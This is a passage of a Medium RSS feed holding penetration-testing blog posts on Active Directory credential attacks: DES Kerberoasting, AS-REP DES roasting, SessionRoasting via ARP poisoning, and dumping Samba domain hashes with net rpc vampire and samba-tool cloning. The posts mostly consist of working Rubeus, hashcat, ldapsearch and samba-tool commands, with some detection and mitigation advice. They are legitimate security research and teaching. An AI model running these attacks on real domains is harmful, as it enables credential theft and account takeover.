use this mode:</p><pre>hashcat -a 0 -m 31300 hashes.txt dictionary.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fTU5KvZyyy2suFXnZcN-aw.png" /></figure><p>In my case the module wouldn’t work unless I remove the RID in each hash.</p><p><strong>Conclusion</strong></p><p>The biggest red flags for this kind of attack are:</p><ul><li>multiple MS-SNTP client requests sent by the same host with a different RID</li><li>the RID in these requests belongs to a user and not a computer</li><li>a user’s userAccountControl is having its UF_NORMAL_ACCOUNT bit (0x0200) unset and its UF_WORKSTATION_TRUST_ACCOUNT bit (0x1000) set and viceversa</li><li>a user’s account was modified to add a trailing $ to its sAMAccountName</li></ul><p>As a technique it might be useful when an attacker with domain admin privileges wishes to find the clear text password of a few specific users but does not want to risk getting caught, thus deciding to avoid credential extraction methods that are likely to sound alarms.</p><p><strong>References</strong></p><ul><li><a href="https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf">https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf</a></li><li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sntp/8106cb73-ab3a-4542-8bc8-784dd32031cc">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sntp/8106cb73-ab3a-4542-8bc8-784dd32031cc</a></li><li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380</a></li><li><a href="https://github.com/SecuraBV/Timeroast/blob/main/timeroast.ps1">https://github.com/SecuraBV/Timeroast/blob/main/timeroast.ps1</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b75c1f71b9ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DES Kerberoasting and SessionRoasting]]></title>
            <link>https://medium.com/@offsecdeer/des-kerberoasting-and-sessionroasting-d78432678864?source=rss-27dad9470782------2</link>
            <guid isPermaLink="false">https://medium.com/p/d78432678864</guid>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Giulio Pierantoni]]></dc:creator>
            <pubDate>Mon, 23 Dec 2024 20:50:26 GMT</pubDate>
            <atom:updated>2024-12-23T20:50:26.556Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we are going to exploit the UserAccountControl flag Use DES Key Only.While not well known I recently saw a domain where this attack could have been used to compromise a domain administrator, so I thought it’d be worth exploring. We are all very familiar with kerberoasting, but there is an interesting subtype of this attack I have only seen mentioned by <a href="https://exploit.ph/des-is-useful.html">Charlie Clark</a>, who discovered and implemented it in the Rubeus project, therefore all credit for discovering the attacks covered here goes to him.</p><p>DES is one of the algorithms Windows supports to encrypt kerberos tickets. While disabled by default since Windows Server 2008, some administrators might have re-enabled it for software that didn’t support other algorithms and then forgot about it. The policy enabling DES is Network security: Configure encryption types allowed for Kerberos:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*gk7kx9YLEAf58xu8I5BuGw.png" /></figure><p>With this option set kerberos clients can claim they support the DES algorithm, if no better algorithms are available the KDC will use a 64 bit DES key for encryption. Rubeus has an /encsupptype:des option we can use to try and get a ticket in such a way, which is useful to check whether a DC supports the algorithm or not with unprivileged domain credentials:</p><pre>Rubeus.exe asktgt /user:tantani /password:AAAAaaaa!1 /domain:newlab.local /dc:dc /suppenctype:des /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*tlhEWRCSKmcRoYiCPyvAhg.png" /></figure><p>If we receive a KDC_ERR_ETYPE_NOTSUPP error DES is not supported:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*6XUH-IKRL01-lr5WY-9-zw.png" /></figure><p>The UAC options have a USE_DES_KEY_ONLY flag (0x200000 - 2097152) which when set automatically makes the DC release DES tickets when this user authenticates:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*erDsUV6BIkPKLUdxHfPoNQ.png" /></figure><p>If we are looking for users with DES enabled the PowerShell AD module exposes a convenient UseDESKeyOnly property:</p><pre>Get-ADUser -Filter * -Properties * | Where UseDESKeyOnly -eq $true | select SamAccountName,UseDESKeyOnly</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*irdKbRuoydshI_ImrXnVpQ.png" /></figure><p>Or we can use the following LDAP filter to only find objects with the specific bit set in their UserAccountControl attribute:</p><pre>(UserAccountControl:1.2.840.113556.1.4.803:=2097152)</pre><p>For example we could enumerate users with the following ldapsearch command:</p><pre>ldapsearch -LLL -x -H ldap://dc.newlab.local -D tantani@newlab.local -w &#39;AAAAaaaa!1&#39; -b dc=newlab,dc=local &#39;(UserAccountControl:1.2.840.113556.1.4.803:=2097152)&#39; sAMAccountName | grep sAMAccountName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*dKH_Y0cAChiLb-VOQCZppg.png" /></figure><p>Also BloodHound has introduced new properties to easily enumerate UAC flags:</p><pre>MATCH (u{usedesonly:TRUE}) RETURN u.samaccountname</pre><p>On top of that, when SharpHound is run on a domain controller the registry is queried to obtain the list of supported algorithms, we can use this to find domain controllers where DES is enabled:</p><pre>MATCH (c:Computer)-[:DCFor]-&gt;(:Domain)<br>WHERE (&quot;DES-CBC-CRC&quot; IN c.supportedencryptiontypes OR &quot;DES-CBC-MD5&quot; IN c.supportedencryptiontypes)<br>RETURN c.samaccountname,c.supportedencryptiontypes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GOIPeh6PRmFGjGYTuLK_5w.png" /></figure><p>Here is another query that puts the two elements together, looking for DES-enabled DCs where users with USE_DES_KEY_ONLY set can authenticate:</p><pre>MATCH q=(c:Computer)-[:DCFor]-&gt;(:Domain)<br>-[:Contains*..]-&gt;(u{usedeskeyonly:TRUE,hasspn:TRUE})<br>WHERE (&quot;DES-CBC-CRC&quot; IN c.supportedencryptiontypes <br>OR &quot;DES-CBC-MD5&quot; IN c.supportedencryptiontypes) <br>RETURN q</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*YtG5mBsGpfxRcnjIWX6pNQ.png" /></figure><p>If there is at least one DES-enabled DC we should also look out for any writable users and computers, since as we’ll see later these can be compromised with <a href="https://blog.harmj0y.net/activedirectory/targeted-kerberoasting/">targeted roasting</a> attacks.</p><p>When DES is enabled a few account takeover opportunities arise for an attacker:</p><ul><li>DES kerberoasting</li><li>DES AS-REP Roasting</li><li>SessionRoasting</li></ul><p>DES roasting attacks are particularly interesting because they don’t lead back to the clear text password, but to the long term DES key instead, a 64 bit MD5 hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cpb07YDfbAcDukz6082irg.png" /></figure><p>This means we aren’t bruteforcing the service user’s password, but rather its encryption key. This is useful because it doesn’t matter how strong the original password was, the resulting MD5 hash is easily bruteforced with a cracking rig and allows an attacker to request new tickets. This also makes targeted AS-REP roasting attacks possible on machine accounts, even domain controllers (although it is strongly discouraged as it could cause disruptions, read <a href="https://exploit.ph/des-is-useful.html">Clarlie Clark’s article</a> for details).</p><h3>DES Kerberoasting</h3><p>DES Kerberoasting, or simply DES Roasting is similar to the same old kerberoasting attack we know and love, what changes is we need to ask for a DES-encrypted TGS, from which we can calculate a DES hash that once cracked it reveals us the user’s encryption key, allowing us to request new tickets as the vulnerable user.</p><p>The way we ask for DES tickets is by manipulating the etype in TGS-REQ messages, the field used to specify the encryption algorithms supported by the client. Through the Rubeus option /enctype:des we send a TGS-REQ where etype only contains eTYPE-DES-CBC-MD5, forcing the KDC to encrypt the TGS with the user’s DES key.</p><p>The prerequisites for this type of kerberoasting are a DC supporting DES and a service account with an SPN and USE_DES_KEY_ONLY set. A DC with DES enabled but without service accounts with USE_DES_KEY_ONLY set cannot be exploited: requesting a DES TGS in one such scenario would give us a TGS-REP where the session key is encrypted with a DES key, but the ticket itself is encrypted in RC4 or AES because the KDC will always give stronger algorithms priority. The values in etype only allow us to control how the session key will be encrypted, not the ticket itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLDvXVX8dysy06DigmvFIg.png" /></figure><p>Looking for DES-roastable accounts in BloodHound is easy, we just enumerate domain SPNs and see if any of these service accounts have USE_DES_KEY_ONLY set:</p><pre>MATCH (u{usedeskeyonly:TRUE, hasspn:TRUE})<br>RETURN u.samaccountname</pre><p>Outside of BloodHound we can use an LDAP query like this:</p><pre>(&amp;(UserAccountControl:1.2.840.113556.1.4.803:=2097152)(ServicePrincipalName=*))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*A6e43Z7bZ9c9drfGobuQYw.png" /></figure><p>To launch the attack we request a TGT as the user we control:</p><pre>Rubeus.exe asktgt /user:tantani /password:AAAAaaaa!1 /domain:newlab.local /dc:dc /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*6hEhKPiKakdNa90as6HdoA.png" /></figure><p>This TGT is used to request a DES TGS for the vulnerable user:</p><pre>Rubeus.exe asktgs /service:http/example /enctype:des /nowrap /dc:dc.newlab.local /ticket:&lt;TGT&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*ByFqL-QH_bGnX1bzkgAxKQ.png" /></figure><p>DES encrypts the TGS cypher in chunks of 8 bytes so it also uses a 64 bit IV, stored at the beginning of the cypher. The next 8 bytes are the first encrypted block, and it turns out the plain text of these first 8 bytes can actually be calculated because it’s based on the TGT session key, the AS-REQ’s cname field (the client user’s name), and the client’s PAC. The first two are already in our hands (the TGT session key is found in the AS-REP), while the PAC is inside the cypher of the TGS, unavailable to us because encrypted with the service account’s DES key.</p><p>The good news is that if we have two different service tickets for the same user the PAC will be mostly identical, as most of its content is derived from user attributes, so if we are able to decrypt a TGS we can also read its PAC and calculate the first 8 bytes of plain text of the TGS cypher. Much like with my <a href="https://medium.com/@offsecdeer/a-practical-guide-to-rbcd-exploitation-a3f1a47267d5">RBCD article</a>, where it enabled us to do SPN-less RBCD, U2U comes to the rescue.</p><p>User2User is a kerberos extension that normally is used in place of S4U2Proxy when users need to authenticate to a service that’s not running under a machine account, which means they don’t have an SPN and for that reason cannot use delegation. That’s not why it’s useful to us this time though.</p><p>A U2U TGS-REQ requires the inclusion of a TGT in the additional-tickets field, its session key will be used to encrypt the resulting TGS in the TGS-REP. This differs from the normal kerberos flow where a TGS is encrypted with the service account’s long term keys derived from their password, aka their DES, RC4, or AES keys. This is useful because we have access to the session key of our TGT and therefore we can decrypt the U2U TGS, allowing us to read the PAC and calculate the first 8 bytes of plain text in the DES TGS.</p><p>By doing a bitwise XOR between the plain text and the DES TGS IV we obtain a known cypher text, we add this to the first block of encrypted data from the TGS and we obtain a hashcat mode 14000 hash that when cracked it produces the target’s DES key. The following poorly made diagram tries to explain this process visually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*-G_w1HXetwfiScuuCJli5w.png" /></figure><p>To request a U2U DES ticket we use the asktgs command with the /u2u flag and /enctype:des, we use /service to specify our controlled user’s name, which plays the role of the cname, and set both /tgs and /ticket to our user’s TGT:</p><pre>Rubeus.exe asktgs /u2u /service:tantani /enctype:des /dc:dc.newlab.local /nowrap /ticket:&lt;TGT&gt; /tgs:&lt;TGT&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*6h27s2YC7tCjJW-uDsd9sg.png" /></figure><p>In Wireshark we can see how a U2U request is a normal TGS-REQ message where where the requested etype is DES, while the additional-tickets field contains our own account’s TGT, encrypted with krbtgt’s AES256 key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cf6OMY7HZxRUCpk0YxtEcw.png" /></figure><p>Rubeus calculates the first block of plain text from the TGT session key, cname, and the PAC from the U2U TGS and outputs it to us. The describe command lets us put together the plain text and the DES TGS to calculate a crackable hash:</p><pre>Rubeus.exe describe /desplaintext:638203A03082039C /ticket:&lt;TGS&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*i8jCvCo46YcTxK2nv0xb1Q.png" /></figure><p>Hashcat can crack this with the following command:</p><pre>hashcat -a 3 -m 14000 &lt;hash&gt; -1 /usr/share/hashcat/charsets/DES_full.hcchr --hex-charset ?1?1?1?1?1?1?1?1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*jkyVMU95lQH9NoAR3w__7Q.png" /></figure><p>In order to test this attack without access to a cracking rig you can dump the NTDS.dit to see all the domain DES keys, they will be marked as des-cbc-md5, and use the kerberoastable account’s key to build a partial hashcat mask, like 94b186d7ffa1?1?1, where only the last two bytes need to be bruteforced:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*L04DVI1XnX8iSskc-vRVoA.png" /></figure><p>Or, if you remember the plain text, rubeus has a hash command to calculate kerberos keys when given password, username, and domain name (RC4 keys only require the clear text passwords but for DES and AES keys the KDC will hash the password with a salt, which contains realm name and principal name, also shown in the output):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*KbQ828zwMbulFEtUQ3PiJg.png" /></figure><p>With the DES key in our hands we can request a new DES TGT as the victim user:</p><pre>Rubeus.exe asktgt /user:destest /des:4631510729373d20 /domain:newlab.local /dc:dc /suppenctype:des /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*4wUi5H7mCY6eNX1xZ95Qng.png" /></figure><p>And finally use the TGT to access any service we like:</p><pre>Rubeus.exe asktgs /service:ldap/dc.newlab.local /dc:dc.newlab.local /nowrap /ticket:&lt;TGT&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*tliyUQEVCaM6kpz2LVyH6Q.png" /></figure><h3>AS-REP DES Roasting</h3><p>As we know by now, classic AS-REP roasting is an attack that can be executed when the DONT_REQ_PREAUTH UAC flag is set, allowing anyone with the knowledge of the user’s name to request a TGT without completing pre-authentication. Pre-authentication is the process of authenticating a user to a KDC when they request a TGT with an AS-REQ message, it involves the user sending a timestamp encrypted with their password-derived key, which the KDC tries to decrypt to confirm the user’s key is the same as the one in the KDC’s database. If the key is valid a TGT is returned in an AS-REP message.</p><p>The AS-REP structure contains two blobs of encrypted data, both named enc-part. The first contains the TGT, and is encrypted with the krbtgt user’s key, while the second is encrypted with the requesting user’s own key since it contains data the user needs to access, like the TGT session key, without which the ticket cannot be used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a6fLUzgc3khJ3nNvUY7dcw.png" /></figure><p>Disabling pre-authentication means anyone can ask the KDC for a TGT containing data encypted with a user’s key: this data can be used to calculate a crackable hash which will lead to the target user’s password.</p><p>If a user with USE_DES_KEY_ONLY set requests a TGT the second enc-part of the AS-REP will be encrypted with their DES key, so if pre-authentication is disabled we can carry out an attack similar to DES roasting, except the cypher is contained in an AS-REP instead of a TGS-REP. This means the data needed to calculate the first block of plain text is different, but luckily it’s all predictable so this time we don’t even need to resort to U2U, Rubeus will calculate the hash by itself after receiving the AS-REP.</p><p>AS-REP DES roasting is more useful asn an account takeover technique when we have GenericAll or GenericWrite permissions on a user but we can’t reset their password (maybe it’s an account being actively used by people and we don’t want to disrupt their work or get caught) and PKINIT is not configured on the DC, so we can’t use shadow credentials.</p><p>The goal is to temporarily modify the user’s UAC settings to enable USE_DES_KEY_ONLY and DONT_REQ_PREAUTH, send an AS-REQ for the user, reset the UAC to its previous value, and crack the cypher to obtain the target’s DES key.</p><p>An exploitable account looks like this from ADUC:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*cme0SUXoENDggqFjXWmP9g.png" /></figure><p>We can either let Rubeus automatically find roastable users with LDAP:</p><pre>Rubeus.exe asreproast /domain:newlab.local /dc:dc /format:hashcat</pre><p>…or manually specify a user ourselves:</p><pre>Rubeus.exe asreproast /domain:newlab.local /dc:dc /format:hashcat /user:asrep /des</pre><p>Either way we receive a hash of the same format as before:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*IruCeFqx8l9z05Zd53PtLg.png" /></figure><p>Launching hashcat with mode 14000 should now give us the cracked DES key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*d910AAbsM_qAKYUWOeI3Aw.png" /></figure><p>With this key we request a TGT for the target user:</p><pre>Rubeus.exe asktgt /user:asrep /des:&lt;&lt;2037161631fb49e5&gt;&gt; /domain:newlab.local /dc:dc /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*E6HbyXDvYzeLsxMDD9XIQA.png" /></figure><p>In this packet capture we can observe the attack in detail, the AS-REQ does not contain any pre-authentication data, usually this would trigger a KRB5KDC_ERR_PREAUTH_REQUIRED error but instead we receive a TGT and a blob of data encrypted with the vulnerable user’s DES key, allowing us to build a hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UEPnP9rHVejJppPukNTaqg.png" /></figure><h3>SessionRoasting</h3><p>Yet another attack documented by <a href="https://exploit.ph/des-is-useful.html">Charlie Clark</a>, this one relies on the fact that AS-REQs can be intercepted, modified, and replayed to a DC.</p><p>SessionRoasting is essentially an encryption downgrade attack launched from a MITM position, where the attacker can intercept traffic between a victim computer and a DC supporting DES kerberos encryption. It is in fact possible to modify an intercepted AS-REQ’s etype to only include DES-CBC-MD5, which when replayed forces the KDC to release a TGT with a DES session key.</p><p>Since the attacker is between target and DC through ARP poisoning the AS-REP containing the issued TGT is intercepted as well, but the ticket cannot be used without knowing its DES session key, this is found in the second enc-part field of the message and it’s encrypted with the target account’s key.</p><p>While we can’t use the keyless TGT to authenticate we can embed it in a U2U TGS-REQ, which gives us a TGS encrypted with that TGT’s DES session key. This means we can use the same method of DES roasting to calculate a hash which doesn’t crack to a service account’s encryption key, but to a TGT session key instead. If we find this session key while the TGT is still valid (default lifetime is 10 hours) we will be able to authenticate with the ticket and request a TGS as the victim. In the image below I tried to simplify the attack flow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GzCqRf44BdiYQoCKKQ8xpA.png" /></figure><p>Charlie’s <a href="https://github.com/0xe7/RoastInTheMiddle">RoastInTheMiddle</a> project implements most of these steps automatically, and also supports other <a href="https://www.semperis.com/blog/new-attack-paths-as-requested-sts/">interesting kerberos attacks</a> that are worth exploring. The program takes care of the ARP poisoning, tampering and replaying of messages as well as the calculation of crackable DES hashes. To launch the attack we specify a listening interface, a list of target computers we want to intercept AS-REQs from, the DCs which support DES and finally a valid TGT for our own attacker, needed for the first U2U exchange to obtain the plain text:</p><pre>RoastInTheMiddle.exe sessionroast /listenip:&lt;IP&gt; /targets:&lt;TARGET&gt; /dcs:&lt;DES DC&gt; /tgt:&lt;TGT&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*MZKumn_idferueMhtNM-vg.png" /></figure><p>Below is a commented packet capture of all the kerberos exchanges taking place, the selected packet is the AS-REQ modified to only support DES-CBC-MD5, notice how the source IP is the attacker’s listening address and not the target computer which generated the original request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QLIaZUfxIM9FxdYqMhWkbQ.png" /></figure><p>Once the hash is cracked we can assemble the full TGT using Rubeus’ kirbi command, giving it the cracked session key and the keyless ticket printed by RoastInTheMiddle:</p><pre>Rubeus.exe kirbi /sessionkey:&lt;DES KEY&gt; /sessiontype:des /nowrap /kirbi:&lt;KEYLESS TGT&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*omTt0Mi_m7IZZQZFWHWIUw.png" /></figure><p>With this ticket we can obtain any TGS we want as the target user in the usual way:</p><pre>Rubeus.exe asktgs /service:ldap/dc.newlab.local /dc:dc.newlab.local /nowrap /ticket:&lt;TGT&gt;</pre><p>This is an interesting attack but it has the limitation that target, DC and attacker must be in the same network segment for the ARP poisoning to work, and rerouting traffic to ourselves, especially when targeting multiple computers, can cause disruptions. RoastInTheMiddle still forwards transparently every message it’s not interested in but it’s more of a PoC than an attack-ready tool and shouldn’t be used in production networks.</p><h3>Mitigation</h3><p>Disable DES. That’s pretty much it. If you really need to leave it enabled limit its support to the hosts or users who truly need it, and check that everyone else’s <a href="https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/decrypting-the-selection-of-supported-kerberos-encryption-types/1628797">msDS-SupportedEncryptionTypes</a> attribute has the bits relative to DES switched off. Adding privileged users to Protected Users also disables DES kerberos encryption, but again, disabling it altogether is the only true fix.</p><p><strong>References</strong></p><ul><li><a href="https://exploit.ph/des-is-useful.html">https://exploit.ph/des-is-useful.html</a></li><li><a href="https://www.semperis.com/blog/new-attack-paths-as-requested-sts/">https://www.semperis.com/blog/new-attack-paths-as-requested-sts/</a></li><li><a href="https://github.com/GhostPack/Rubeus">https://github.com/GhostPack/Rubeus</a></li><li><a href="https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/decrypting-the-selection-of-supported-kerberos-encryption-types/1628797">https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/decrypting-the-selection-of-supported-kerberos-encryption-types/1628797</a></li><li><a href="https://blog.harmj0y.net/activedirectory/roasting-as-reps/">https://blog.harmj0y.net/activedirectory/roasting-as-reps/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d78432678864" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To DCSync a Samba DC (and maybe OpenLDAP)]]></title>
            <link>https://medium.com/@offsecdeer/how-to-dcsync-a-samba-dc-and-maybe-openldap-448c3914b17b?source=rss-27dad9470782------2</link>
            <guid isPermaLink="false">https://medium.com/p/448c3914b17b</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Giulio Pierantoni]]></dc:creator>
            <pubDate>Fri, 15 Nov 2024 17:49:41 GMT</pubDate>
            <atom:updated>2024-11-15T17:49:41.083Z</atom:updated>
            <content:encoded><![CDATA[<p>In a recent assessment I found myself in a domain where the only DC was a Samba server. While Samba allows the creation of a fully functional AD DC on a Linux computer it is only a partial implementation of the ocean of features and protocols that make up Active Directory, thus many AD attacks and tools don’t work against Samba.</p><p>Impacket’s secretsdump is one of these: the two extraction methods it supports are DRSUAPI, aka DCSync, and VSS, aka shadow copies. The latter tries to create a shadow copy of the ntds.dit database by running the builtin binary vssadmin.exe, which obviously doesn’t exist on Samba, but on top of that neither does ntds.dit, as Samba stores the AD database in a completely different database type called LDB, where the objects are spread across multiple .tdb files, or at least this is the default behavior, when the passdb backend config option is set to tdbsam.</p><p>Extracting Samba hashes when you have code execution on the DC as root is very simple:</p><pre>pdbedit -Lw</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*HOdjRdhJUq2Cs7pjj_2P2A.png" /></figure><p>Assume you have domain admin credentials but this user is not granted SSH access on the DC, or you only have an NT hash you couldn’t crack, what do you do?</p><p>DCSync is the first solution that comes to mind, the best thing about it is that it works through DRSUAPI, the protocol necessary for directory replication in AD, which is necessarily implemented in Samba and therefore should work… right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*4fpwXSBXiLLts1s8rWclaw.png" /></figure><p>Well… not really. At least out of the box none of the DCSync tools I tried work on a Samba DC. I am sure they could be modified to be compatible, but it turns out that’s not necessary.</p><p><strong>Attack of the Vampires</strong></p><p>net is a utility that comes built with many Linux distros and it has plenty of commands to query and control Windows hosts through SMB and RPC. Going through the list of the net rpc subcommands I noticed a very interesting description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*2BcnFVk3Lfj2XQOuV5sI6Q.png" /></figure><p>Doesn’t that sound exactly like DCSync? Because that’s what it is. This command was meant to be used in DC migrations by replicating user credentials through the DRSUAPI protocol.</p><p>The vampire command supports two modes: passdb and keytab (there used to be a ldif command too but it’s missing in current versions of net). The first is supposed to clone the remote password database into the local one, but I could not get it to work. This might be because the vampire command was meant to work with older versions of Samba, if anyone finds a way to make it work please let me know.</p><p>keytab copies and stores all secrets in a kerberos keytab file. Keytabs contain a list of principals and their long term encryption keys. Among them is a key marked as arcfour-hmac-md5, which basically means RC4, and like in Windows the RC4 kerberos key is equal to the user’s NT hash. This means that as a domain admin we can use vampire keytab to obtain every domain user’s NT hashes (and their other long term keys)!</p><p>The syntax is self explanatory, we just provide a DC address and domain admin credentials, --force is required because net will warn us this command isn’t meant to be used against AD DC, a warning which we kindly ignore:</p><pre>net rpc -U administrator -S 192.168.0.123 vampire keytab test.tab --force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*N_gi4zw7AzchOAnu0X5edA.png" /></figure><p>Looking at the traffic of this operation we see it really is just a replication transaction, with DRSUAPI calls to the usual DsBind, DsCrackNames and DsGetNCChanges RPC functions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3wiyhfJeBXT80stjRcCNZA.png" /></figure><p>Now we just need to do a bit of parsing to extract the NT hashes from the output keytab, we can use klist from the krb5-user package:</p><pre>klist -k test.tab -K -e | grep arcfour-hmac | tr -s &#39; &#39; | cut -d &#39; &#39; -f 3,5 | sed &#39;s/\ (0x/:/g&#39; | tr -d &#39;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*_vaL1IFeDkUt6Q5anEla_w.png" /></figure><p>We have DCSync’d a Linux DC!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*l7B5YiUkVm3uUB8r5piFXw.gif" /></figure><p>If we only have a domain admin’s NT hash we can use the modified version of net included in the <a href="https://github.com/byt3bl33d3r/pth-toolkit">pth-toolkit</a> repo, which adds support for the --pw-nt-hash parameter found in smbclient, so we just add that parameter to the clear-text password command and we can pass the hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*4sEd6WG9sHaUgJdEy9fniw.png" /></figure><p><strong>Cloning a DC</strong></p><p>While going through Samba documentation I found another possible method to extract passwords, this time by cloning the whole directory, including the password database. This can be done with two different commands, the end result is the same:</p><ul><li>samba-tool drs clone-dc-database</li><li>samba-tool domain backup online</li></ul><p>The result is the same but the second method requires an extra step. In the first case we just create a copy of the whole database:</p><pre>samba-tool drs clone-dc-database linux.local --include-secrets --targetdir=./dump -W linux.local --server=192.168.0.123 \<br>-U administrator --password=&#39;MegaPassword!1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MqNX4qRfSq-LLfHb3r1cRg.png" /></figure><p>Then we copy the config in dump/etc/smb.conf in our /etc/samba/smb.conf so that we can read the hashes with pdbedit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RjZZu120XbJrxlW1_554VA.png" /></figure><p>The domain backup online command is pretty much the same but with an extra step, since it is supposed to be used in emergencies where you need to replace a DC:</p><pre>sudo samba-tool domain backup online --targetdir=./backup --server=192.168.0.123 -W linux.loc -U Administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wr7JgGOe89DI8RyWxSmvUQ.png" /></figure><p>The difference is we get an archive in the output folder, which we need to “restore” before we can read the secrets:</p><pre>sudo samba-tool domain backup restore --backup-file=bak.tar.bz2 --newservername=newDC --targetdir=/home/giulio/newdc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3nYaeAlqW758DKFKOuo6OA.png" /></figure><p>Finally we copy the samba.conf file in targetdir and pdbedit does the rest for us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gFD2VKYodrMqp5UB0O8tRA.png" /></figure><p>The restore operation following the domain backup online command adds a DC to the directory but this change is performed exclusively on our backup, the target DC is therefore completely unaffected, same with drs clone-dc-database. One small thing to note is that if we do create an online backup we’ll see our new DC’s hash in the output too.</p><p>Cloning the entire directory is probably overkill and may actually take some time and consume considerable bandwidth in a large environment, so the vampire method is preferable as it only replicates secrets, but should it not work we have an alternative.</p><h3>Samba + OpenLDAP</h3><p>The two techniques described above are useful, but unfortunately for me the DC I was working with was using OpenLDAP as a backend, so neither of them worked. This changes things completely.</p><p>For starters being a domain admin does not grant us OpenLDAP dumping privileges, domain admins are completely isolated from OpenLDAP, at least by default, and there’s virtually no reasons as to why one would change this. If we want those hashes we need to find our way to DC root or rootDN. Or do we…? Most likely yes, however there is a “but”.</p><p>In samba’s integrated LDAP server passwords are saved in the unicodePwd attribute, which cannot be read by anyone through LDAP, just like in AD. OpenLDAP manages passwords differently, users have their bind password stored in the userPassword attribute, which can only be read by the “rootDN”, which is the OpenLDAP account (or “DN”) with full access to the database, by default it’s called cn=admin,dc=&lt;domain&gt;,dc=&lt;com&gt;.</p><p>userPassword is only used for LDAP authentication, when integrating with Samba two new attributes are added, sambaNTPassword and sambaLMPassword. Upon creating a new Samba user their password is hashed and stored here (current Samba versions don’t populate the LM attribute anymore, but it’s still present and LM support can be enabled manually), and when password sync is enabled the userPassword is also populated with the same password, albeit with a different encoding (by default it’s SSHA, but it can also be CRYPT, MD5, or even clear text).</p><p>Basically we need to gain access to the Samba attributes. Well who can read them?</p><p><strong>How Lucky Are We?</strong></p><p>Interestingly, OpenLDAP only sets a very small number of ACL on its database upon installation, just three in fact:</p><figure><img alt="" 